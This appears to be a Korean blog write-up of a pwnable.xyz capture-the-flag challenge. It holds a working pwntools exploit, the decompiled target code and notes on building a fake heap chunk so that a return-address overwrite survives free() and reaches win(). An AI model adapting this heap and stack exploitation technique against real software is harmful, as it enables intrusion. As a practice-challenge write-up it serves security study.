from pwn import *
# context.log_level = 'debug'
p = remote("svc.pwnable.xyz", 30005)
# p = process("./challenge")
# pwndbg 터미널 열리면 거기서 bp 세팅하고 c 입력 후 원래 터미널에서 아무키나 입력 (동적분석!!!!)
# 그러면 파이썬 코드 실행되고 bp에서 멈출 것. free() 근처에서 분석하자
# gdb.attach(p)
# pause()
win = 0x400a3e
# 위치 안변하고, write 가능한 바이너리의 .data영역 (0x601000~0x602000)에 fake_chunk 만들자
# 0x601010, 0x601020 에는 stdin,stdout 관련 데이터 들어있으므로 0x601030 부터 ~~
fake_chunk = 0x601030
p.sendafter("> ", "2")
retAddr = int(p.recvline()[:-1], 16) + 0x58
print(hex(retAddr))
p.sendafter("> ", "1")
p.send(b'A'*8+p64(fake_chunk+8))
p.sendafter("> ", "3")
p.sendafter("> ", "1")
# chunk size는 0x20 이상이면 어떤 값이든 상관없음 (prev_inuse 플래그 여부도 상관없음)
# chunk size 대신 다른 값 입력하면 오류 뜸
p.send(p64(0x31)+p64(retAddr))
p.sendafter("> ", "3")
p.sendafter("> ", "1")
p.send(p64(win)+p64(fake_chunk+0x10))
p.sendafter("> ", "3")
p.sendafter("> ", "0")
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
__int64 i; // rcx
int v5; // eax
signed __int64 v6; // rax
__m128i v8; // [rsp+8h] [rbp-60h] BYREF
char nptr[48]; // [rsp+18h] [rbp-50h] BYREF
unsigned __int64 v10; // [rsp+48h] [rbp-20h]
v10 = __readfsqword(0x28u);
setup(argc, argv, envp);
// 0x40 크기의 chunk 할당, [rsp+0x10]에 8바이트 주소 저장
v8.m128i_i64[1] = (__int64)malloc(0x40uLL);
while ( 1 )
{
while ( 1 )
{
_printf_chk(1LL, "> ");
// v3가 48B 배열 nptr 가리킴
v3 = nptr;
// nptr 48바이트 모두 0으로 초기화
for ( i = 12LL; i; --i )
{
*(_DWORD *)v3 = 0;
v3 += 4;
}
// 48바이트를 입력받아서 v5에 정수 저장
read(0, nptr, 0x30uLL);
v5 = atoi(nptr);
if ( v5 != 1 )
break;
// 1 입력 시 -> malloc된 chunk에 0x20바이트 쓸 수 있음 (stdin)
v6 = sys_read(0, (char *)v8.m128i_i64[1], 0x20uLL);
}
// 그리고 while문 탈출
if ( v5 <= 1 )
break;
if ( v5 == 2 )
{
// 2 입력 시 -> malloc된 chunk의 8B 주소 출력 (stdout)
_printf_chk(1LL, "%p\n", &v8.m128i_u64[1]);
}
// 3 입력 시 -> chunk로부터 v8에 16바이트를 load한다, 즉 [rsp+0x10] chunk 주소도 overwrite 가능
else if ( v5 == 3 )
{
if ( (unsigned int)limit <= 1 )
v8 = _mm_loadu_si128((const __m128i *)v8.m128i_i64[1]);
}
// 1,2,3 아닐 시 Invalid
else
{
LABEL_16:
puts("Invalid");
}
}
// 0 입력한 게 아니면 다시 while문으로 복귀
if ( v5 )
goto LABEL_16;
if ( !v8.m128i_i64[1] )
exit(1);
// free한다
free((void *)v8.m128i_i64[1]);
return 0;
}
Full RELRO Canary found NX enabled No PIE (No PIE!!!)
- win함수(0x400A3E) 호출하면 됨
- Partial RELRO: .got.plt 영역에 쓰기권한 존재 -> GOT overwrite 가능
- Full RELRO: libc.so에 구현된 __free_hook 이용 (libc.so의 .bss 섹션에 속하는데, write 가능)
* free hook 주소 찾는법
p __free_hook 해서는 0x0만 뜸 (free_hook으로 지정된 후킹 함수가 없으므로)
p/x &__free_hook 하거나 x/x &__free_hook 해서 주소 파악하자
- 하지만 libc_base leak할 방법이 마땅치 않아서 pass
- leak되는 주소는 스택 주소 -> main함수의 RET을 덮어써보자
- 함수 에필로그 보면
0x00000000004008d4 <+276>: call 0x400770 <__stack_chk_fail@plt> ; [rsp+0x48] 카나리 검사
0x00000000004008d9 <+281>: add rsp,0x50
0x00000000004008dd <+285>: pop rbx ; rbx=rsp+0x50에 저장
0x00000000004008de <+286>: pop rbp ; rbp=rsp+0x58에 저장
0x00000000004008df <+287>: pop r12 ; r12=rsp+0x60에 저장
0x00000000004008e1 <+289>: ret ; RET=rsp+0x68에 저장
- v8.m128i_i64[1] 과 RET 간 거리 = 0x58
- [rsp+0x8]을 [Dummy 8B+RET 주소]로 덮은 뒤, RET 주소에 win() 주소 덮어쓰고, main 종료
- 로컬에서 테스트해보니 free(): invalid pointer 라고 나온다
- gdb.attach(p); pause; 해서 free() 함수 호출 직전에 bp 걸고 동적 분석해보자
► 0x4008bd <main+253> call free@plt <free@plt>
ptr: 0x7ffd24693588 —▸ 0x400a3e (win) ◂— lea rdi, [rip + 0x8f]
ptr이 가리키는 chunk가 이상하네~
- 바이너리 .data 섹션에 fake chunk 만들자: prev_size/size/data~ 구조이므로
- [Dummy 8B + (fake_chunk+0x8)] 입력 후 적용
- [(chunk size) + (RET addr)] 입력 후 적용 // fake_chunk 메타데이터 채운다
// prev_size는 이미 0 들어가있으므로 건들 필요 x
- [(win addr) + (fake_chunk+0x10)] 입력 후 적용 // RET overwrite 후 free될 chunk는 fake chunk로~
다른 블로그 풀이들 보니까 코드 초반 malloc(0x50) 됐을 때의 heap 상황처럼 top chunk 까지 구현했더라...
(힙은 런타임시에 호출한 후에 0x21000만큼 미리 메모리 영역을 할당한 뒤 이 사이즈 안에서 사용)
(top chunk size = 0x21000 - 할당한 chunk size)
다른 블로그 풀이대로 코드를 짜보면
p.sendafter("> ", "1")
p.send(b'A'*8+p64(retAddr))
p.sendafter("> ", "3")
p.sendafter("> ", "1")
p.send(p64(win)+p64(fake_chunk+0x8)) # RET overwrite
p.sendafter("> ", "3")
p.sendafter("> ", "1")
p.send(p64(0x31)+p64(fake_chunk+0x38)) # fake chunk
p.sendafter("> ", "3")
p.sendafter("> ", "1")
p.send(p64(0x21000-0x30+0x1)+p64(fake_chunk+0x10)) # fale top chunk
p.sendafter("> ", "3")
p.sendafter("> ", "0")
p.interactive()
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - Jmp table (0) | 2023.02.05 |
---|---|
pwnable.xyz - TLSv00 (0) | 2023.02.05 |
pwnable.xyz - xor (0) | 2023.02.05 |
pwnable.xyz - two targets (0) | 2023.02.05 |
pwnable.xyz - note (0) | 2023.02.05 |